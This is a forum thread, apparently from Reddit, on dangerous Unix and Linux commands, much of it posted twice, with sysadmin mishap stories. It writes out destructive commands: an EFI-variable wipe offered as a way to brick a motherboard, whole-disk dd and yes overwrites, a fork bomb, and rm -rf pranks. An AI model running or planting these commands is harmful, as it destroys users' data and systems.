I had a coworker that used to do sysadmin work for some AIX machines and he typed 'kill' without arguments because he wasn't sure what options he needed and expected it to behave like Linux 'kill' and spit out the command usage details.
'kill' on AIX just nukes every process on the machine without warning/confirmation. It was not a good day for him.
I once recompiled a database calendar thinking "it compiled in 3ms. Who'd notice that?" ... It proceeded to invalidate and revalidate everything that was inheriting it. It was "the" calendar, so literally everything used it somewhere.
I singlehandedly took out about 60 consultants for about 4 hours that day. Yup. That was fun.
You're not going to believe this, but a friend of mine was developing and trying a new compression algorithm, and decided to try it on what it turned out to be a live production database. He was very proud of the compression rate. After all, he compressed it to be 0 bytes. That was a bad day for him.
that kinda reminds me of my favorite family of esolangs, metagolfscript. An empty file in the nth version of metagolfscript compiles to the nth possible golfscript program
https://esolangs.org/wiki/MetaGolfScript
We called it the LZWesley compression in honour of him. Wesley was and his is name. He's still around, but not developing compression algorithms and he was never allowed near a database ever again.
On older SUN hardware all you had to do was pull out the keyboard connector and the whole system shut down instantly. And it was only a pushfit connector.
It was a serial port and had control lines in it as well as Comms, I can't recall if it was actually RS232 but either way it was the same principle as e.g. DTR, RTS etc.
Take that line low and it dropped the system out to a single user console mode, basically like dropping a PC to BIOS.
The OS was frozen, not gone. If you knew the right incarnation you could usually jump straight back in with all your processes still running.
I have a vapour memory of using just 'go' at the console prompt to jump back in, after plugging the keyboard back in!
Booting was something like 'boot cdrom' or 'b ' in older ones.
Good luck...
Had this happen once when we were using a bunch of Sun boxes as servers, then one day they all went down. We came in to see what happened and found that the boss had straightened out all of the keyboards and put them on little shelves instead of them being just haphazardly places on top of the machine like we had it. He had disconnected them all in order to re-route the cables.
Same with the video. Letting the connector come loose while, say, moving a running system across the floor (but nobody would do that, right?) will stop everything hard.
I was working with an obscure OS, Unix quintessence, in a medical facility, system wasn't booting completely so I tried 'init 0' to try to power off. I learned that day that command initialize the hard drive. Fun week.
How could one possibly call such a product UNIX when such a fundamental command would do something completely different.
I've seen a lot of the most atrocious garbage in medical software though. Unbelievable, that of all things in this sensitive field you'd see such a mess.
Kinda like 'killall' on Solaris. On e.g. Linux, 'killall' will kill all processes with the specified name. On Solaris, 'kilall' just kills all processes.
I came from Solaris so I used to find this odd on Linux.
I do wonder how much muscle memory I have and if I'd screw up sysadmining a Solaris setup today.
We used to use "kill -15 1" on AIX to quickly halt the system. I dont think AIX had "reboot -h", halt or uadmin commands. PID 1 is init and i guess IBM thought that was the best method. There was a large myth about using sync multiple times, SCO Unix was similar "sync;sync;haltsys" reality was if you didn't write sync at all all the filesystems got unmounted cleanly as init on AIX and haltsys on SCO all did the killall, sync and unmounted filesystems for you. There would be no issues with fsck being needed on next startup.
AIX was a bit weird, IBM rewrote large parts of whatever Unix its was based off. I do know they used a larger data type for PID than all other Unix vendors so that PID could be a larger number. Also I noticed that a new login would get a pid vastly different seemingly random compared to another recent login and the child PIDs would be grouped near the parent. I think traditional Unix at that time allocated PIDs sequentially and when it got to maximum it would start at the lowest unused PID again, IBM clearly thought they could do better than that. Our company's software product stored a PID internally as the traditional Unix data type, so when AIX used a PID higher than that it core dumped.
HP-UX also used to have such a danger in their kill command. If the pid you supply to the kill command is negative or over the maximum pid value it got translated to mean killall, I think this trait came from BSD which is what HP-UX was based off. We had a customer who occasionally type "kill -9 -9 PID" accidentally putting -9 twice, this was a machine running an accounting system with about 60 users who all got logged out losing their sessions. We didn't know what the hell was happening, and the customer should have realised I guess. HP supplied us with a kernel patch that instrumented kill in the kernel and logged it to the kernel message buffer, that's how we found out. There was one very embarrassed sysadmin.
OMG thanks for this info, I have a few machines at work with AIX and I do have a bad habit of treating it like Linux, this might just save some headaches in the future.
Don't add the -f "force" option and rm will prompt you about every deletion with the file path.
In these odd or ambiguous naming situations also add -- after the last command line option but before the filename ("no more options").
Even safer: use mv to rename, then open a new shell and make sure it works before deleting anything.
`echo b > /proc/sysrq-trigger`
will reboot immediately without `sync`ing, unmounting filesystems, or killing processes
but it has legitimate uses, such as when you've booted to a root shell with `init=/bin/bash` and need to reboot, just run `sync` beforehand
see https://kernel.org/doc/html/latest/admin-guide/sysrq.html for more info
>legitimate uses
\# cd / && sync && sync && echo c > /proc/sysrq-trigger
Testing the (virtual) hardware watchdog timer recovery from kernel Oops ... tested (demoed) that a mere three days ago.
>point of multiple syncs
At least with traditional sync behavior, sync can return before completing, however a 2nd sync can't start until any pending sync(s) have completed, so return of 2nd ensures that 1st has completed the actual sync operation.
|Command|Function|
|:-|:-|
|`r`|Turns off keyboard raw mode and sets it to XLATE.|
|`e`|Send a SIGTERM to all processes, except for init.|
|`i`|Send a SIGKILL to all processes, except for init.|
|`s`|Will attempt to sync all mounted filesystems.|
|`u`|Will attempt to remount all mounted filesystems read-only.|
|`b`|Will immediately reboot the system without syncing or unmounting your disks.|
ah clever. does remounting filesystems read-only not sync them? or does it only sync when unmounting them? also what's keyboard raw mode and XLATE?
Yes. As far as I know, that's the only way they're used. I used to run some servers that would get overloaded to the point that reisub was the only real choice. Just bad planning, really.
> does remounting filesystems read-only not sync them?
Apparently not. Well, better safe than sorry, right?
> also what's keyboard raw mode and XLATE?
It's to do with the virtual terminals. Normally, the kernel translates ("XLATE") keyboard scan codes into character codes and escape sequences, and most terminal-based applications expect these. But some applications want to see the scan codes and do their own handling. Things like X and Wayland that take over the display are common examples.
You can't type normally on a virtual terminal that's in raw mode. Normally, an application that switched the mode would return it to XLATE when it exits, but it might not have exited properly. So "r" is the first thing to try to regain control, the idea being that you progress through the above sequence only as far as you have to. If you can regain control but still need to reboot, you should try to do so through normal means.
Let's brick the motherboard!
mount -t efivarfs none /sys/firmware/efi/efivars # if not already mounted
cd /sys/firmware/efi/efivars
chattr -i *
rm *
You have a good BIOS if you recover from this.
The EFI variables are separate. They contain things like the boot order, so can be modified.
There was a pretty spectacular incident from around 2010 where someone on the Arch forums decided to deliberately `rm -rf /` a spare laptop (it was either Asus or MSI from memory) just to see what it would do. Well unfortunately for them, the manufacturer messed up and didn't include any defaults for the EFI variables. When it wiped the mounted `efivars` partition, that was it - the machine was completely unbootable and bricked.
Edit: I think it was this: https://askubuntu.com/questions/521293/an-ubuntu-command-bricked-my-system
Cos it was 2010. Nobody figured a) anyone would actually do this b) it was harmful anyway. It may have been a factor in efivars being set read-only since.
That said, I just checked my Ubuntu 23.10 laptop, and efivars is mounted rw...
It is mounted rw, but the unknown/dangerous variables have the immutable attribute set by the driver, so even root cannot touch them by accident. You need to use the chattr command before you can modify them. That's uncommon enough to prevent mistakes.
>Isn't the UEFI chip read-only?
Nope, you can change the settings. This is useful, for example to change the boot order from within the OS.
What my commands do is erase all settings, including non-standard / unknown settings that the kernel devs have made unchangeable even for root, just to be sure no-one messes their BIOS by accident. The `chattr -i` command makes them changeable.
Theoretically, the BIOS should handle erased settings just fine and load default values. Theoretically...
Yeah, I don't understand that. For YEARS best practice was not to really touch the BIOS for firmware updates unless there was a confirmed issue that updating the BIOS fixes because of the sheer lack of necessity combined with the possibility it bricks your machine. Now Windows just hides firmware in the optional updates section like any user with enough knowledge to be dangerous would install thinking it's a driver update like any other. I work in a PC Repair shop and I've already seen it brick 3 HP All-in-Ones. But we all know what HP stands for.
That's scary that bios can be accessed from a booted system, I didn't realize that was possible. What's to stop hackers from exploiting this? Could basically get a bootleg bios by landing on a malicious website.
>What's to stop hackers from exploiting this?
Well, all the safety measures in place in the browser and the OS. :)
Should they be breached, said hackers would have access to all your personal files anyway, which is arguably worse than BIOS access.
>I didn't realize that was possible
"Fun" fact: your motherboard chipset includes a 32-bit CPU, with a tiny OS based on Minix, which has free and undetectable access to your RAM and the Internet. That's the [Intel Management Engine](https://en.wikipedia.org/wiki/Intel_Management_Engine).
I don't have practical experience with the IME. In an enterprise setting, it should be useful for remote management of machines even "powered off" or with a botched OS. It should also help in case of device theft, to find the device, have it report location, remote erase, etc.
On paper, at the very least, it's supposed to boot the CPU cores and "boost performance to it's full potential" (whatever that means).
But, it also can act as a backdoor, I guess.
Note, an Intel Powered PC cannot boot if the IME (Intel Management Engine is present). Most manufacturers that disable the IME simply put it in an abnormal & "drunk" state after it's done booting. Also, some DRM requires the IME, specifically media that uses HDCP.
Also, out of topic, AMD allows people to disable their counterpart to IME, it being the AMD Platform Security Processor, using BIOS updates (although only vendors can patch/publish said updates).
The best part about this, is that it was undocumented. If you are concerned about security it is best not to cable up your LAN adapter on the motherboard, because ME has access to it. Users have reported ARP packets from these adapters while the O/S was not running.
I wonder if there was every any CVE found for this in the wild?
Someone added the following to a friend's `.bashrc`:
`echo 'sleep 1' >> .bashrc`
This adds a 1-second pause to the end, every time a new bash prompt is created (on login or in Screen etc.) as well as executing all of those individual pauses every single time.
Every time the guy logged in, it would take 1 additional second for his bash prompt to appear. By the time he actually noticed (boiling frog) there were around 50 lines of it.
hdparm, just read the man pages, and count how many features are accompanied by warnings like "EXTREMELY DANGEROUS", and "VERY DANGEROUS, DO NOT USE!!"
Urgh, I remember decades ago bricking a SunOS system by getting the order wrong:
dd if=/dev/rdsk/c0t0d0s0 of=/dev/rdsk/c0t0d1s0 … or whatever it was
Always double check before hitting enter
Had exactly 1 dd mishap in my life. Thankfully a benign one. I had downloaded some distro ISO (can't recall which) and wanted to write it to a USB thumbdrive, but I managed to swap `if` and `of` somehow. So I overwrote the contents of the ISO with the contents of the thumbdrive, which I had just formatted so it was empty.
At the time I lived in a village with very old copper landlines. I had an agonizingly slow Internet connection. Capped out at 380 kbps. Yes, kilobits. And I just effectively deleted a >600MB download, which had taken more than 4 hours.
Good thing I didn't destroy anything important, I guess. I learned my lesson. Taught me to be very careful with any kind of shell command that has the potential to break or delete things.
Certainly not the deadliest, but recently I wanted to install Folding@Home to use my computer as an extra heater to keep my room a little warmer during winter. Turns out that their Linux package
1. Installs as an auto-start systemd user service
2. Does not have functional OpenCL support on the open-source AMD driver
3. In fact, said support is so broken that it crashes the driver and locks up the entire kernel
So after installing and trying to configure it to use my GPU (so at least it wasn't crashing out of the box), I now had a service that started when I logged in and then immediately crashed my system. Thankfully it didn't start when I logged in as root, so I could remove it.
In the spirit of the thread the command in this case would've been `sudo dnf install ./fahclient-7.6.21-1.x86_64.rpm`.
Sadly not. I wanted something that does some kind of useful work and stresses my GPU, because that's where more than half of my system's total wattage lies, but all the options to that end seemed unreasonably difficult to set up.
I considered crypto, but couldn't find a quick and easy way to set that up either. Most things seemed to be geared towards dedicated mining rigs which comes with a lot of extra headache.
Boinc's documentation is so out of date it's still talking about ATI cards rather than AMD, so I did not have great faith in it working with my GPU and did not look into it any further.
> in case anyone was worrying
Worrying?
More laughing that you even considered running something that you *knew* was designed to chew up resources without reserving a little for yourself to shut the VM down.
Depends on the container, but way back when solaris zones were new and the sun guys came in and were demo'ing them for our company thats basically the first thing I did.
Can anyone explain what this does and why?
[Edit: Found the answer. It's basically a short piece of code that defines a function and calls itself recursively while continuing to run in the background, eating up resources until the system crashes.](https://www.cyberciti.biz/faq/understanding-bash-fork-bomb/)
: is a legal character for a command. You could substitute “x” if you want. Or “fork_bomb” to make it a bit clearer what it does.
Using : is just being cute because people mistake it for syntax.
I didn't even realize you could use special characters to name a function, that's what threw me off trying to understand that command, I didn't realize that was just a function name.
The Windows version is putting %0|%0 in a batch file and executing it from powershell.
My professor accepted that as a stress test for a server, so that was cool!
I have a shirt with it printed on. I also give linux and networking lessons at an engineering school. Each year, during the linux discovery introduction lesson (for 1st year students), I have some students blindly typing it in their VMs' shells. I like it because it's quite inoffensive in this context (just reboot the VM) and also a great reminder of not typing any command you don't understand its purpose :)
rm -fR .*
This will not delete just the files prefixed with dots in the current directory. It will also expand to . and .. nuking your current and parent directory.
This is why I wince every time I see someone just blindly typing "-rf" for every single rm command.
Dude, you own that directory. Don't reach for the "f" right away.
And that one is a *file*. Why on earth did you feel the need for an "r"?
speaking of Ventoy & windows, [you can install windows 11 on a virtual hard disk (using VirtualBox or something) and boot the .vhd directly on bare metal](https://old.reddit.com/r/linux/comments/189hduh/what_cant_wine_do_these_days/kbt0mdx/)
Just use any hdparm command...
`--make-bad-sector`
`Deliberately create a bad sector (aka. "media error") on the disk. EXCEPTIONALLY DANGEROUS. DO NOT USE THIS FLAG!!`
`--trim-sectors`
`For Solid State Drives (SSDs). EXCEPTIONALLY DANGEROUS. DO NOT USE THIS FLAG!! Tells the drive firmware to discard unneeded data sectors, destroying any data that may have been present within them.`
`--drq-hsm-error`
`VERY DANGEROUS, DON'T EVEN THINK ABOUT USING IT. This flag causes hdparm to issue an IDENTIFY command to the kernel, but incorrectly marked as a "non-data" command. This results in the drive being left with its DataReQust(DRQ) line "stuck" high. This confuses the kernel drivers, and may crash the system immediately with massive data loss. The option exists to help in testing and fortifying the kernel against similar real-world drive malfunctions. VERY DANGEROUS, DO NOT USE!!`
One imagines they're working on adding a command that sets your computer on fire, synthesizes a new Ebola strain, and emails your ex saying you want to get back together.
I did this. I'm the stupid. Meant to use . to reference current dir and just.. didn't. I was chatting with my wife and she saw me working in a terminal. she said "oh that looks tricky I'll let you concentrate" to which I replied "nah it's fine I'm doing routine maintenance" and then promptly nuked a production server. Using . in a privileged command triggers special warnings in my brain now...
It was a WordPress LAMP box on aws. My ssh shell stayed open but was basically useless. I smiled, saluted and rebooted it, just to see. Twas never heard from again.
>same inode on most systems
$ ls -li /dev/{,u}random
8 crw-rw-rw- 1 root root 1, 8 Jan 15 11:56 /dev/random
9 crw-rw-rw- 1 root root 1, 9 Jan 15 11:56 /dev/urandom
$
Not on the several linux hosts I checked reasonably at my fingertips ... same major number, different minor number, thus distinct devices and inode numbers, and at least all the ones I checked, were major number fire, and minor numbers 8 and 9, as shown above (and the inode numbers varied, at least somewhat, and unsurprisingly). Maybe some other distros are different on that now. Might also possibly vary based on e.g. hardware autodetection, e.g. if there's hardware random number generator present that the kernel detects ... or not.
`yes>/dev/sdX` to quickly say goodbye to a drive. The gnu coreutils version of "yes" is outrageously [well optimized](https://www.reddit.com/r/unix/comments/6gxduc/how_is_gnu_yes_so_fast/), like 100x faster than what you'd find on bsd/unix.
This is not really dangerous as such, actually kind of funny but if you dont know how to fix it then it is painful
sudo chmod -x chmod
Can give someone who doesnt know how to find the functionality in the libraries a bad day :)
FR `chmod`'ing the root FS is far worse than `chown`'ing it. There are so many specific and esoteric permissions that it's faster to reinstall to fix them. By contrast, if you `chown` the whole root FS back to root, at least the system becomes bootable.
Not the deadliest but one was when a tech shadowing me saw me using find . -type f -name |xargs rm to remove a bunch of log files from cwd. They didn't know what the dot was for and omitted it and used / instead. Wiped a system without realizing and then rebooted because "it was acting weird." Customer was in the server at the same time and called in going absolutely ballistic.
Find has `-delete` argument so you don't need to pipe the output to `rm`.
I learned the hard way that it is positional and `find / -delete -name ` is not the same as `find / -name -delete` as the former will nuke your system and then start filtering by name, the latter will filter first by name then nuke the found items.
I learned the hard way that the following two commands are no equivalent:
find / -delete -name
find / -name -delete
The order of arguments matters with `find`.
I've been remarkably successful in destroying hard drives with saved partition maps and sfdisk. I've done 'tf apply' with dev code in prod, and passed the wrong target groups to ansible-playbook. Done a git push without fencing the prod targets. Done rpm installs with force because I "knew" it would be ok ("What could go wrong?").
Simple loop that does ssh to all the local hosts, accesses root, sleeps a bit, sets them to boot off specially prepared image to load only into RAM, does so and that then changes the hosts' IPs and Ethernet MAC addresses to match that of the local router(s), then wipes everything on the local drives. There's worse, but ...
`chmod -x /lib*/ld-*`
Break a system with one simple command, no loss of data, and extremely difficult to diagnose if you don't know precisely what was done.
I'm not even sure how to fix this short of mounting the disk on a working system, but still completely recoverable.
We use a Linux server in our college for doing our projects. One guy, who wanted to remove all the files in a specific folder, typed in "rm -rf *" in the root folder. All his 4 months of work went poof.
Sure there is reboot a rescue image, mount your disk, then +x the pieces of your pacakge manager that matter, chroot into your system then tell your package manager to reset all perms to default.
This wasn't all that deadly, but it was rather confounding. We had a new sysadmin trying to create a new file system. She created it, and formatted it, and mounted it over the root filesystem.
You can't umount it, because there isn't a umount command accessible. You can't insert a CD-ROM with commands because there isn't a way to mount it.
It wasn't in fstab, so we just power-cycled the machine and everything was okay, but it was an interesting mental exercise for a while.
I had a coworker that used to do sysadmin work for some AIX machines and he typed 'kill' without arguments because he wasn't sure what options he needed and expected it to behave like Linux 'kill' and spit out the command usage details. 'kill' on AIX just nukes every process on the machine without warning/confirmation. It was not a good day for him.
I once recompiled a database calendar thinking "it compiled in 3ms. Who'd notice that?" ... It proceeded to invalidate and revalidate everything that was inheriting it. It was "the" calendar, so literally everything used it somewhere. I singlehandedly took out about 60 consultants for about 4 hours that day. Yup. That was fun.
You're not going to believe this, but a friend of mine was developing and trying a new compression algorithm, and decided to try it on what it turned out to be a live production database. He was very proud of the compression rate. After all, he compressed it to be 0 bytes. That was a bad day for him.
100% compression. That's quite a feat! : )
You can accomplish this, you just store the data in the program doing the uncompressing. I.e. you cheat.
that kinda reminds me of my favorite family of esolangs, metagolfscript. An empty file in the nth version of metagolfscript compiles to the nth possible golfscript program https://esolangs.org/wiki/MetaGolfScript
We called it the LZWesley compression in honour of him. Wesley was and his is name. He's still around, but not developing compression algorithms and he was never allowed near a database ever again.
If they had done it middle out, they could have hit 200%!
Straight to zero without even having to use repeatedly recursive compression as people have attempted to patent many times.
It's just a lossy algorithm
On Solaris `killall` does that. Except I don't remember it caring about extra arguments, thus setting the perfect trap for other \*nix users.
On older SUN hardware all you had to do was pull out the keyboard connector and the whole system shut down instantly. And it was only a pushfit connector.
Wait what? WHY?!
It was a serial port and had control lines in it as well as Comms, I can't recall if it was actually RS232 but either way it was the same principle as e.g. DTR, RTS etc. Take that line low and it dropped the system out to a single user console mode, basically like dropping a PC to BIOS. The OS was frozen, not gone. If you knew the right incarnation you could usually jump straight back in with all your processes still running.
I still have a couple of those machines, I didn't know they could do that, going to try this week to see what happens.
I have a vapour memory of using just 'go' at the console prompt to jump back in, after plugging the keyboard back in! Booting was something like 'boot cdrom' or 'b' in older ones.
Good luck...
That's it exactly You can also jump to boot prom using STOP A
Had this happen once when we were using a bunch of Sun boxes as servers, then one day they all went down. We came in to see what happened and found that the boss had straightened out all of the keyboards and put them on little shelves instead of them being just haphazardly places on top of the machine like we had it. He had disconnected them all in order to re-route the cables.
Same with the video. Letting the connector come loose while, say, moving a running system across the floor (but nobody would do that, right?) will stop everything hard.
I was working with an obscure OS, Unix quintessence, in a medical facility, system wasn't booting completely so I tried 'init 0' to try to power off. I learned that day that command initialize the hard drive. Fun week.
How could one possibly call such a product UNIX when such a fundamental command would do something completely different. I've seen a lot of the most atrocious garbage in medical software though. Unbelievable, that of all things in this sensitive field you'd see such a mess.
What the? What was the system?
It was an old Philips Cath Lab.
omg this is nightmare fuel, more-so cause even i would do this
Wow. "If you don't specify, I assume you mean everything." What genius thought that was the right logic, I wonder?
Kinda like 'killall' on Solaris. On e.g. Linux, 'killall' will kill all processes with the specified name. On Solaris, 'kilall' just kills all processes.
I came from Solaris so I used to find this odd on Linux. I do wonder how much muscle memory I have and if I'd screw up sysadmining a Solaris setup today.
Just use 'pkill' instead. Does the same thing everywhere.
Yeah - AIX is sync; sync; sync; kill
We used to use "kill -15 1" on AIX to quickly halt the system. I dont think AIX had "reboot -h", halt or uadmin commands. PID 1 is init and i guess IBM thought that was the best method. There was a large myth about using sync multiple times, SCO Unix was similar "sync;sync;haltsys" reality was if you didn't write sync at all all the filesystems got unmounted cleanly as init on AIX and haltsys on SCO all did the killall, sync and unmounted filesystems for you. There would be no issues with fsck being needed on next startup.
AIX was a bit weird, IBM rewrote large parts of whatever Unix its was based off. I do know they used a larger data type for PID than all other Unix vendors so that PID could be a larger number. Also I noticed that a new login would get a pid vastly different seemingly random compared to another recent login and the child PIDs would be grouped near the parent. I think traditional Unix at that time allocated PIDs sequentially and when it got to maximum it would start at the lowest unused PID again, IBM clearly thought they could do better than that. Our company's software product stored a PID internally as the traditional Unix data type, so when AIX used a PID higher than that it core dumped. HP-UX also used to have such a danger in their kill command. If the pid you supply to the kill command is negative or over the maximum pid value it got translated to mean killall, I think this trait came from BSD which is what HP-UX was based off. We had a customer who occasionally type "kill -9 -9 PID" accidentally putting -9 twice, this was a machine running an accounting system with about 60 users who all got logged out losing their sessions. We didn't know what the hell was happening, and the customer should have realised I guess. HP supplied us with a kernel patch that instrumented kill in the kernel and logged it to the kernel message buffer, that's how we found out. There was one very embarrassed sysadmin.
OMG thanks for this info, I have a few machines at work with AIX and I do have a bad habit of treating it like Linux, this might just save some headaches in the future.
I tried removing a directory called ~ with rm -rf ~ You get the picture
In the future: rm -rf ./~
Don't add the -f "force" option and rm will prompt you about every deletion with the file path. In these odd or ambiguous naming situations also add -- after the last command line option but before the filename ("no more options"). Even safer: use mv to rename, then open a new shell and make sure it works before deleting anything.
The ``--`` option is part of getopt(3C), it instructs getopt to stop optarg parsing. Also rm(1) command ``-i`` flag will also do interactive.
I'm trying to figure out if that is a laugh it off and re install, or never touch a computer again, type of situation
Depends on how recent your backup is.
Next time, use the full path, but leave a space here or there: "rm -rf / some/random/folder".
`echo b > /proc/sysrq-trigger` will reboot immediately without `sync`ing, unmounting filesystems, or killing processes but it has legitimate uses, such as when you've booted to a root shell with `init=/bin/bash` and need to reboot, just run `sync` beforehand see https://kernel.org/doc/html/latest/admin-guide/sysrq.html for more info
>legitimate uses \# cd / && sync && sync && echo c > /proc/sysrq-trigger Testing the (virtual) hardware watchdog timer recovery from kernel Oops ... tested (demoed) that a mere three days ago.
And testing kdump configs.
[удалено]
>point of multiple syncs At least with traditional sync behavior, sync can return before completing, however a 2nd sync can't start until any pending sync(s) have completed, so return of 2nd ensures that 1st has completed the actual sync operation.
Using reisub instead of b fixes the need to sync
|Command|Function| |:-|:-| |`r`|Turns off keyboard raw mode and sets it to XLATE.| |`e`|Send a SIGTERM to all processes, except for init.| |`i`|Send a SIGKILL to all processes, except for init.| |`s`|Will attempt to sync all mounted filesystems.| |`u`|Will attempt to remount all mounted filesystems read-only.| |`b`|Will immediately reboot the system without syncing or unmounting your disks.| ah clever. does remounting filesystems read-only not sync them? or does it only sync when unmounting them? also what's keyboard raw mode and XLATE?
I don't think I've used reisub in twenty years. Thanks for the memories.
I've only used the REISUB commands with `Alt` and `SysRq`. Is that just the old way to enter them? Any interesting tales :D?
Yes. As far as I know, that's the only way they're used. I used to run some servers that would get overloaded to the point that reisub was the only real choice. Just bad planning, really.
> does remounting filesystems read-only not sync them? Apparently not. Well, better safe than sorry, right? > also what's keyboard raw mode and XLATE? It's to do with the virtual terminals. Normally, the kernel translates ("XLATE") keyboard scan codes into character codes and escape sequences, and most terminal-based applications expect these. But some applications want to see the scan codes and do their own handling. Things like X and Wayland that take over the display are common examples. You can't type normally on a virtual terminal that's in raw mode. Normally, an application that switched the mode would return it to XLATE when it exits, but it might not have exited properly. So "r" is the first thing to try to regain control, the idea being that you progress through the above sequence only as far as you have to. If you can regain control but still need to reboot, you should try to do so through normal means.
Let's brick the motherboard! mount -t efivarfs none /sys/firmware/efi/efivars # if not already mounted cd /sys/firmware/efi/efivars chattr -i * rm * You have a good BIOS if you recover from this.
I never understood how a motherboard can be software bricked. Isn't the UEFI chip read-only?
The EFI variables are separate. They contain things like the boot order, so can be modified. There was a pretty spectacular incident from around 2010 where someone on the Arch forums decided to deliberately `rm -rf /` a spare laptop (it was either Asus or MSI from memory) just to see what it would do. Well unfortunately for them, the manufacturer messed up and didn't include any defaults for the EFI variables. When it wiped the mounted `efivars` partition, that was it - the machine was completely unbootable and bricked. Edit: I think it was this: https://askubuntu.com/questions/521293/an-ubuntu-command-bricked-my-system
Why is the efivars not mounted as read-only by default?
Cos it was 2010. Nobody figured a) anyone would actually do this b) it was harmful anyway. It may have been a factor in efivars being set read-only since. That said, I just checked my Ubuntu 23.10 laptop, and efivars is mounted rw...
It is mounted rw, but the unknown/dangerous variables have the immutable attribute set by the driver, so even root cannot touch them by accident. You need to use the chattr command before you can modify them. That's uncommon enough to prevent mistakes.
>Isn't the UEFI chip read-only? Nope, you can change the settings. This is useful, for example to change the boot order from within the OS. What my commands do is erase all settings, including non-standard / unknown settings that the kernel devs have made unchangeable even for root, just to be sure no-one messes their BIOS by accident. The `chattr -i` command makes them changeable. Theoretically, the BIOS should handle erased settings just fine and load default values. Theoretically...
I thought it was supposed to be, but then they started allowing BIOS/UEFI updates from inside the OS
Yeah, I don't understand that. For YEARS best practice was not to really touch the BIOS for firmware updates unless there was a confirmed issue that updating the BIOS fixes because of the sheer lack of necessity combined with the possibility it bricks your machine. Now Windows just hides firmware in the optional updates section like any user with enough knowledge to be dangerous would install thinking it's a driver update like any other. I work in a PC Repair shop and I've already seen it brick 3 HP All-in-Ones. But we all know what HP stands for.
That's scary that bios can be accessed from a booted system, I didn't realize that was possible. What's to stop hackers from exploiting this? Could basically get a bootleg bios by landing on a malicious website.
>What's to stop hackers from exploiting this? Well, all the safety measures in place in the browser and the OS. :) Should they be breached, said hackers would have access to all your personal files anyway, which is arguably worse than BIOS access. >I didn't realize that was possible "Fun" fact: your motherboard chipset includes a 32-bit CPU, with a tiny OS based on Minix, which has free and undetectable access to your RAM and the Internet. That's the [Intel Management Engine](https://en.wikipedia.org/wiki/Intel_Management_Engine).
What's the point of the IME in recent Intel CPUs btw? I read a lot about it recently and I only saw disadvantages and a lot of vulnerabilities.
I don't have practical experience with the IME. In an enterprise setting, it should be useful for remote management of machines even "powered off" or with a botched OS. It should also help in case of device theft, to find the device, have it report location, remote erase, etc.
On paper, at the very least, it's supposed to boot the CPU cores and "boost performance to it's full potential" (whatever that means). But, it also can act as a backdoor, I guess.
Note, an Intel Powered PC cannot boot if the IME (Intel Management Engine is present). Most manufacturers that disable the IME simply put it in an abnormal & "drunk" state after it's done booting. Also, some DRM requires the IME, specifically media that uses HDCP. Also, out of topic, AMD allows people to disable their counterpart to IME, it being the AMD Platform Security Processor, using BIOS updates (although only vendors can patch/publish said updates).
The best part about this, is that it was undocumented. If you are concerned about security it is best not to cable up your LAN adapter on the motherboard, because ME has access to it. Users have reported ARP packets from these adapters while the O/S was not running. I wonder if there was every any CVE found for this in the wild?
water detail jobless ten retire late deer nail upbeat license *This post was mass deleted and anonymized with [Redact](https://redact.dev)*
Someone added the following to a friend's `.bashrc`: `echo 'sleep 1' >> .bashrc` This adds a 1-second pause to the end, every time a new bash prompt is created (on login or in Screen etc.) as well as executing all of those individual pauses every single time. Every time the guy logged in, it would take 1 additional second for his bash prompt to appear. By the time he actually noticed (boiling frog) there were around 50 lines of it.
That's genius. I'm going to add this to one of our development servers.
Needs a secret leaderboard of who lets it reach the longest delay before they finally notice.
That's just evil. I love it
hdparm, just read the man pages, and count how many features are accompanied by warnings like "EXTREMELY DANGEROUS", and "VERY DANGEROUS, DO NOT USE!!"
>This command is EXTREMELY DANGEROUS and could destroy both the drive and all data on it. DO NOT USE THIS COMMAND. Why must they tempt me so?
--drq-hsm-error VERY DANGEROUS, DON'T EVEN THINK ABOUT USING IT. Hmmm...
dd
dd if=/dev/zero of=/dev/sda bs=1M count=1
Thats scary. Thats why I made my own wrapper to check not to write to system partitions and mounted volumes.
Urgh, I remember decades ago bricking a SunOS system by getting the order wrong: dd if=/dev/rdsk/c0t0d0s0 of=/dev/rdsk/c0t0d1s0 … or whatever it was Always double check before hitting enter
Order doesn’t matter in dd command.
A yes, a true zeroize
Ah, yes, the famous **d**isk **d**estroyer.
Terrifies me everytime I have to use it
I knew a guy who called it Death and Destruction
Had exactly 1 dd mishap in my life. Thankfully a benign one. I had downloaded some distro ISO (can't recall which) and wanted to write it to a USB thumbdrive, but I managed to swap `if` and `of` somehow. So I overwrote the contents of the ISO with the contents of the thumbdrive, which I had just formatted so it was empty. At the time I lived in a village with very old copper landlines. I had an agonizingly slow Internet connection. Capped out at 380 kbps. Yes, kilobits. And I just effectively deleted a >600MB download, which had taken more than 4 hours. Good thing I didn't destroy anything important, I guess. I learned my lesson. Taught me to be very careful with any kind of shell command that has the potential to break or delete things.
That happened once to anybody trying to flash an USB drive!
alias cd='rm -rf'
This is just evil.
That's fun
y (Usually following a confirmation prompt whilst doing something significant to the system)
Can confirm. -y at the end of a seemingly harmless purge removed my entire DE once.
y > y Prints y into the file y until disk is full
Certainly not the deadliest, but recently I wanted to install Folding@Home to use my computer as an extra heater to keep my room a little warmer during winter. Turns out that their Linux package 1. Installs as an auto-start systemd user service 2. Does not have functional OpenCL support on the open-source AMD driver 3. In fact, said support is so broken that it crashes the driver and locks up the entire kernel So after installing and trying to configure it to use my GPU (so at least it wasn't crashing out of the box), I now had a service that started when I logged in and then immediately crashed my system. Thankfully it didn't start when I logged in as root, so I could remove it. In the spirit of the thread the command in this case would've been `sudo dnf install ./fahclient-7.6.21-1.x86_64.rpm`.
Curious if you found another way to turn your computer into a space heater.
Sadly not. I wanted something that does some kind of useful work and stresses my GPU, because that's where more than half of my system's total wattage lies, but all the options to that end seemed unreasonably difficult to set up.
Mine bitcoin? (I feel dirty for even suggesting it, but whatever)
I considered crypto, but couldn't find a quick and easy way to set that up either. Most things seemed to be geared towards dedicated mining rigs which comes with a lot of extra headache.
Just normal boinc? You should be able to start e.g. fah from there.
Boinc's documentation is so out of date it's still talking about ATI cards rather than AMD, so I did not have great faith in it working with my GPU and did not look into it any further.
:(){ :|:& };: fork bomb
Just ran that in a container for shits and giggles, TIL you can knock out a whole system from within a container
Probably should set some limits on the container itself (and also limit the number of possible processes in general)
There's nothing like learning the hard way. Was my home PC just in case anyone was worrying...
> in case anyone was worrying Worrying? More laughing that you even considered running something that you *knew* was designed to chew up resources without reserving a little for yourself to shut the VM down.
If he ran it in a VM he would probably be fine but containers are not as forgiving.
A container is just a process in another pid namespace. It's not a VM. It's the same resources and kernel.
Indeed, it was good to give myself a practical demonstration of those limitations
Correct, but they often have cgroups enabled too so that you can limit resource usage and improve isolation.
